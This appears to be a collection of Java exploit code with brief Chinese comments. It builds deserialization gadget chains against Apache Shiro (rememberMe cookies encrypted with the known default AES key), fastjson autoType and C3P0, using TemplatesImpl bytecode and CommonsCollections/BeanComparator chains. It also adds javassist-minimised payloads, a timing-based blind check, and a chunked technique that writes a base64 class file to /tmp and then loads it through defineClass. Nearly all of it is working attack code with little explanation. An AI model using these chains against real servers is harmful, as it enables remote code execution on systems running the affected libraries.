public static void fixSUID() throws Exception {
    ClassPool classPool = ClassPool.getDefault();
    CtClass ctClass = classPool.get("org.apache.commons.beanutils.BeanComparator");
    // 先删掉
    try {
        CtField oldField = ctClass.getDeclaredField("serialVersionUID");
        ctClass.removeField(oldField);
    } catch (javassist.NotFoundException e) {
        System.out.println("SUID field not found, adding a new one...");
    }
    // 然后加上目标的 SUID
    CtField suidField = new CtField(CtClass.longType, "serialVersionUID", ctClass);
    suidField.setModifiers(javassist.Modifier.PRIVATE | javassist.Modifier.STATIC | javassist.Modifier.FINAL);
    ctClass.addField(suidField, "-3490850999041592962L");
    // 接着重新塞回 JVM
    ctClass.toClass();
}

public static Object getPayload() throws Exception {
    fixSUID();
    byte[] code = Files.readAllBytes(Paths.get("/Users/icecliffs/Documents/Coding/java_shiro/target/classes/exp/Calculator.class"));
    TemplatesImpl templates = new TemplatesImpl();
    setFieldValue(templates, "_bytecodes", new byte[][]{code});
    setFieldValue(templates, "_name", "Pwned");
    setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
    final BeanComparator comparator = new BeanComparator(null);
    PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
    queue.add(1);
    queue.add(1);
    setFieldValue(comparator, "property", "outputProperties");
    setFieldValue(queue, "queue", new Object[]{templates, templates});
    return queue;
}

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class BitsTest {
    public static class Calculator {
        public Calculator() throws Exception {
            java.lang.Runtime.getRuntime().exec("open -a Calculator.app");
        }
    }
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setSafeMode(false);
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        ParserConfig.getGlobalInstance().addAccept("BitsTest");
        String payload = "{\"@type\":\"BitsTest$Calculator\"}";
        Object obj = JSON.parseObject(payload, Object.class);
    }
}

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import java.io.IOException;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.URLDecoder;
import java.util.HashMap;
import java.util.Map;
public class BitsTest {
    public static class Calculator {
        public Calculator() throws Exception {
            String os = System.getProperty("os.name").toLowerCase();
            if (os.contains("win")) {
                Runtime.getRuntime().exec("calc");
            } else if (os.contains("mac")) {
                Runtime.getRuntime().exec("open -a Calculator.app");
            } else {
                Runtime.getRuntime().exec("xcalc");
            }
        }
    }
    public static void main(String[] args) throws Exception {
        ParserConfig.getGlobalInstance().setSafeMode(false);
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        ParserConfig.getGlobalInstance().addAccept("BitsTest");
        int port = 8080;
        HttpServer server = HttpServer.create(new InetSocketAddress(port), 0);
        server.createContext("/exploit", new DynamicHandler());
        server.setExecutor(null);
        server.start();
    }
    static class DynamicHandler implements HttpHandler {
        @Override
        public void handle(HttpExchange exchange) throws IOException {
            String query = exchange.getRequestURI().getRawQuery();
            Map<String, String> params = parseQuery(query);
            String payload = params.get("data");
            String responseText;
            if (payload != null) {
                try {
                    String decodedPayload = URLDecoder.decode(payload, "UTF-8");
                    Object obj = JSON.parse(decodedPayload);
                    if (obj != null) {
                        responseText = "Success: " + obj.getClass().getName();
                    } else {
                        responseText = "Parsed result is null.";
                    }
                } catch (Exception e) {
                    responseText = "Error: " + e.toString();
                    e.printStackTrace();
                }
            } else {
                responseText = "Usage: ?data={payload}";
            }
            exchange.sendResponseHeaders(200, responseText.getBytes().length);
            OutputStream os = exchange.getResponseBody();
            os.write(responseText.getBytes());
            os.close();
        }
        private Map<String, String> parseQuery(String query) {
            Map<String, String> result = new HashMap<>();
            if (query == null) return result;
            String[] pairs = query.split("&");
            for (String pair : pairs) {
                int idx = pair.indexOf("=");
                if (idx != -1) {
                    String key = pair.substring(0, idx);
                    String value = pair.substring(idx + 1);
                    result.put(key, value);
                }
            }
            return result;
        }
    }
}

static {
    ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
}

@PostMapping("/")
public Object parse(@RequestBody String body) {
    try {
        Object obj = JSON.parse(body);
        return obj;
    } catch (Exception e) {
        return "error: " + e.getMessage();
    }
}

SerializableUtils.toByteArray(this.connectionPoolDataSource);
oos.writeObject(this.connectionPoolDataSource);

// Calculator.java
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.Reference;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
import java.io.IOException;
public class Calculator implements ObjectFactory {
    static {
        try {
            Runtime.getRuntime().exec("open -a Calculator.app");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

// urlClassLoader.java
package com.java_c3p0;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.util.logging.Logger;

public class urlClassLoader {
    public static class MyLoader implements ConnectionPoolDataSource, Referenceable {
        @Override
        public Reference getReference() throws NamingException {
            return new Reference("Calculator", "Calculator", "http://127.0.0.1:89/");
        }
        @Override public PrintWriter getLogWriter() { return null; }
        @Override public void setLogWriter(PrintWriter out) throws SQLException {}
        @Override public void setLoginTimeout(int seconds) {}
        @Override public int getLoginTimeout() { return 0; }
        @Override public Logger getParentLogger() { return null; }
        @Override public javax.sql.PooledConnection getPooledConnection() { return null; }
        @Override public javax.sql.PooledConnection getPooledConnection(String user, String password) { return null; }
    }
    public static void serialize(ConnectionPoolDataSource input) throws Exception {
        PoolBackedDataSourceBase pool = new PoolBackedDataSourceBase(false);
        Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        field.setAccessible(true);
        field.set(pool, input);
        Field tokenField = PoolBackedDataSourceBase.class.getDeclaredField("identityToken");
        tokenField.setAccessible(true);
        tokenField.set(pool, "icecliffs_token");
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("urlclassloader.bin"));
        oos.writeObject(pool);
        oos.close();
    }
    public static void deserialize() throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("urlclassloader.bin"));
        Object obj = ois.readObject();
        try {
            obj.toString();
        } catch (Exception e) {
        }
    }
    public static void main(String[] args) throws Exception {
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        MyLoader myLoader = new MyLoader();
        serialize(myLoader);
        deserialize();
    }
}

package org.example;

import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class hexLoader {
    public static void main(String[] args) throws Exception {
        String command = "open -a Calculator";
        byte[] cc5Bytes = generateCC5Payload(command);
        String hexPayload = bytesToHexString(cc5Bytes);
        String finalPayload = "HexAsciiSerializedMap:" + hexPayload + ";";
        try {
            WrapperConnectionPoolDataSource wcpds = new WrapperConnectionPoolDataSource();
            wcpds.setUserOverridesAsString(finalPayload);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static byte[] generateCC5Payload(String cmd) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, chain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valField = val.getClass().getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(val, entry);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(val);
        return baos.toByteArray();
    }
    public static String bytesToHexString(byte[] bArray) {
        StringBuilder sb = new StringBuilder(bArray.length);
        for (byte b : bArray) {
            String sTemp = Integer.toHexString(0xFF & b);
            if (sTemp.length() < 2) sb.append(0);
            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }
}

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class Generator {
    public static void main(String[] args) throws Exception {
        byte[] classBytes = Files.readAllBytes(Paths.get("target/classes/InjectToInterceptor.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{classBytes});
        setFieldValue(templates, "_name", "1");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        HashMap<String, Object> map = new HashMap<>();
        map.put("trigger", templates);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(map);
        oos.close();
        String hex = bytesToHex(baos.toByteArray());
        System.out.println("HexAsciiSerializedMap:" + hex);
    }
    private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    private static String bytesToHex(byte[] bytes) {
        StringBuilder sb = new StringBuilder();
        for (byte b : bytes) {
            sb.append(String.format("%02x", b));
        }
        return sb.toString();
    }
}

package com.study.servlet;

import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.subject.Subject;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/login")
public class LoginServlet extends HttpServlet {
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String user = req.getParameter("username");
        String pass = req.getParameter("password");
        String rememberMe = req.getParameter("rememberMe");
        UsernamePasswordToken token = new UsernamePasswordToken(user, pass);
        if (rememberMe != null && rememberMe.equals("on")) {
            token.setRememberMe(true);
        }
        Subject subject = SecurityUtils.getSubject();
        try {
            subject.login(token);
            resp.getWriter().println("Login Success! Welcome, " + user);
        } catch (Exception e) {
            resp.getWriter().println("Login Failed: " + e.getMessage());
        }
    }
}

package exp;
import java.io.IOException;
public class calculator extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
    public calculator() {
        try {
            Runtime.getRuntime().exec("open -a Calculator");
        } catch (Exception e) {}
    }
    @Override
    public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM d, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] s) {}
    @Override
    public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM d, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator di, com.sun.org.apache.xml.internal.serializer.SerializationHandler s) {}
}

package exp;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class exp {
    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object, value);
    }
    public static Object getPayload() throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("/Users/icecliffs/Documents/Coding/java_shiro/target/classes/exp/Calculator.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{code});
        setFieldValue(templates, "_name", "Pwned");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        final BeanComparator comparator = new BeanComparator(null);
        PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
        queue.add(1);
        queue.add(1);
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});
        return queue;
    }
    public static void main(String[] args) throws Exception {
        Object payloadObject = getPayload();
        java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
        java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(baos);
        oos.writeObject(payloadObject);
        oos.close();
        byte[] payloadBytes = baos.toByteArray();
        String key = "kPH+bIxk5D2deZiIxcaaaA==";
        byte[] keyBytes = Base64.decode(key);
        AesCipherService aes = new AesCipherService();
        ByteSource ciphertext = aes.encrypt(payloadBytes, keyBytes);
        System.out.println(ciphertext.toString());
    }
}

package exp;
import javassist.ClassPool;
import javassist.CtClass;
public class javassist_poc {
    public static byte[] generateDynamicClass(String cmd) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        // 创建一个极简类名，减少字节码体积
        CtClass clazz = pool.makeClass("ice.A" + System.nanoTime());
        // 必须继承 AbstractTranslet
        CtClass superClazz = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        clazz.setSuperclass(superClazz);
        // 如果是不出网回显，这里可以换成延时代码：Thread.sleep(5000);
        String src = "java.lang.Runtime.getRuntime().exec(\"" + cmd + "\");";
        clazz.makeClassInitializer().insertBefore(src);
        byte[] bytecodes = clazz.toBytecode();
        clazz.detach();
        return bytecodes;
    }
}

package exp;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class javassist_exp {
    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object, value);
    }
    public static Object getPayload() throws Exception {
        byte[] code = javassist_poc.generateDynamicClass("open -a Calculator");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{code});
        setFieldValue(templates, "_name", "t"); // 短一点
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        // 构造 CB1 链 (使用 BeanComparator)
        // 1.8.3 的 BeanComparator 默认使用 ComparableComparator，体积最小
        final BeanComparator comparator = new BeanComparator(null);
        PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
        queue.add(1);
        queue.add(1);
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});
        return queue;
    }
    public static void main(String[] args) throws Exception {
        Object payloadObject = getPayload();
        java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
        java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(baos);
        oos.writeObject(payloadObject);
        oos.close();
        byte[] payloadBytes = baos.toByteArray();
        String key = "kPH+bIxk5D2deZiIxcaaaA==";
        byte[] keyBytes = Base64.decode(key);
        AesCipherService aes = new AesCipherService();
        ByteSource ciphertext = aes.encrypt(payloadBytes, keyBytes);
        System.out.println(ciphertext.toString());
    }
}

package exp;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class javassist_mini_exp {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static byte[] getUltraShortBytecode(String cmd) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("A");
        cc.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        cc.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"" + cmd + "\");");
        byte[] bytes = cc.toBytecode();
        cc.detach();
        return bytes;
    }
    public static void main(String[] args) throws Exception {
        byte[] code = getUltraShortBytecode("open -a Calculator");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{code});
        setFieldValue(templates, "_name", "a"); // 极简属性名
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        BeanComparator comparator = new BeanComparator(null);
        PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
        queue.add(1);
        queue.add(1);
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        new ObjectOutputStream(baos).writeObject(queue);
        String key = "kPH+bIxk5D2deZiIxcaaaA==";
        AesCipherService aes = new AesCipherService();
        byte[] encrypted = aes.encrypt(baos.toByteArray(), Base64.decode(key)).getBytes();
        System.out.println(Base64.encodeToString(encrypted));
    }
}

byte[] code = getUltraShortBytecode("Thread.sleep(5000);");

package exp;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class chunk_exp {
    public static byte[] getAppendPayload(String path, String b64Content) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Append" + System.nanoTime());
        cc.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        // 核心追加逻辑
        String cmd = "try {" +
                "  String p = \"" + path + "\";" +
                "  String c = \"" + b64Content + "\";" +
                "  java.io.FileOutputStream fos = new java.io.FileOutputStream(p, true);" +
                "  fos.write(c.getBytes());" +
                "  fos.close();" +
                "} catch (Exception e) {}";

        cc.makeClassInitializer().insertBefore(cmd);
        return cc.toBytecode();
    }
    public static String makeCookie(byte[] code) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{code});
        setFieldValue(templates, "_name", "a");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        BeanComparator comparator = new BeanComparator(null);
        PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
        queue.add(1); queue.add(1);
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        new ObjectOutputStream(baos).writeObject(queue);
        String key = "kPH+bIxk5D2deZiIxcaaaA==";
        return Base64.encodeToString(new AesCipherService().encrypt(baos.toByteArray(), Base64.decode(key)).getBytes());
    }
    private static void setFieldValue(Object obj, String field, Object val) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, val);
    }
    public static void main(String[] args) throws Exception {
        String targetPath = "/tmp/payload.txt";
        String part1 = "hellofuck";
        byte[] code = getAppendPayload(targetPath, part1);
        System.out.println("1: " + makeCookie(code));
    }
}

String loaderCmd = "try {" +
        "  java.io.File f = new java.io.File(\"" + path + "\");" +
        "  byte[] b = new byte[(int)f.length()];" +
        "  java.io.FileInputStream fis = new java.io.FileInputStream(f);" +
        "  fis.read(b);" +
        "  fis.close();" +
        "  byte[] decoded = org.apache.shiro.codec.Base64.decode(new String(b));" +
        "  java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});" +
        "  m.setAccessible(true);" +
        "  Object[] args = new Object[]{decoded, new Integer(0), new Integer(decoded.length)};" +
        "  m.invoke(Thread.currentThread().getContextClassLoader(), args);" +
        "} catch (Exception e) { }";

package exp;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.crypto.AesCipherService;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class chunk_exp {
    public static byte[] getAppendPayload(String path, String b64Content) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("App" + System.nanoTime());
        cc.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String cmd = "try {" +
                "  java.io.FileWriter fw = new java.io.FileWriter(\"" + path + "\", true);" +
                "  fw.write(\"" + b64Content + "\");" +
                "  fw.close();" +
                "} catch (Exception e) {}";
        cc.makeClassInitializer().insertBefore(cmd);
        return cc.toBytecode();
    }
    public static byte[] getLoaderPayload(String path) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Lod" + System.nanoTime());
        cc.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String loaderCmd = "try {" +
                "  java.io.File f = new java.io.File(\"" + path + "\");" +
                "  byte[] b = new byte[(int)f.length()];" +
                "  java.io.FileInputStream fis = new java.io.FileInputStream(f);" +
                "  fis.read(b);" +
                "  fis.close();" +
                "  byte[] decoded = org.apache.shiro.codec.Base64.decode(new String(b));" +
                "  java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});" +
                "  m.setAccessible(true);" +
                "  Object[] args = new Object[]{decoded, new Integer(0), new Integer(decoded.length)};" +
                "  m.invoke(Thread.currentThread().getContextClassLoader(), args);" +
                "} catch (Exception e) { }";
        cc.makeClassInitializer().insertBefore(loaderCmd);
        return cc.toBytecode();
    }
    public static String makeCookie(byte[] code) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{code});
        setFieldValue(templates, "_name", "a");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        BeanComparator comparator = new BeanComparator(null);
        PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
        queue.add(1); queue.add(1);
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        new ObjectOutputStream(baos).writeObject(queue);
        String key = "kPH+bIxk5D2deZiIxcaaaA==";
        return Base64.encodeToString(new AesCipherService().encrypt(baos.toByteArray(), Base64.decode(key)).getBytes());
    }
    private static void setFieldValue(Object obj, String field, Object val) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, val);
    }
    public static void main(String[] args) throws Exception {
        String targetPath = "/tmp/payload.txt";
        String classPath = "/Users/icecliffs/Documents/Coding/java_shiro/target/classes/exp/calculator.class";
        int chunkSize = 500; // 每段 Base64 的长度，建议 500-1000 左右
        byte[] classBytes = Files.readAllBytes(Paths.get(classPath));
        String fullBase64 = Base64.encodeToString(classBytes);
        System.out.println("总 Base64 长度: " + fullBase64.length());
        // 分块输出
        int count = 0;
        for (int i = 0; i < fullBase64.length(); i += chunkSize) {
            int end = Math.min(i + chunkSize, fullBase64.length());
            String part = fullBase64.substring(i, end);
            byte[] appendCode = getAppendPayload(targetPath, part);
            System.out.println("第 " + (++count) + " 段 Cookie: " + makeCookie(appendCode));
            System.out.println("--------------------------------------------------");
        }
        byte[] loaderCode = getLoaderPayload(targetPath);
        System.out.println(makeCookie(loaderCode));
    }
}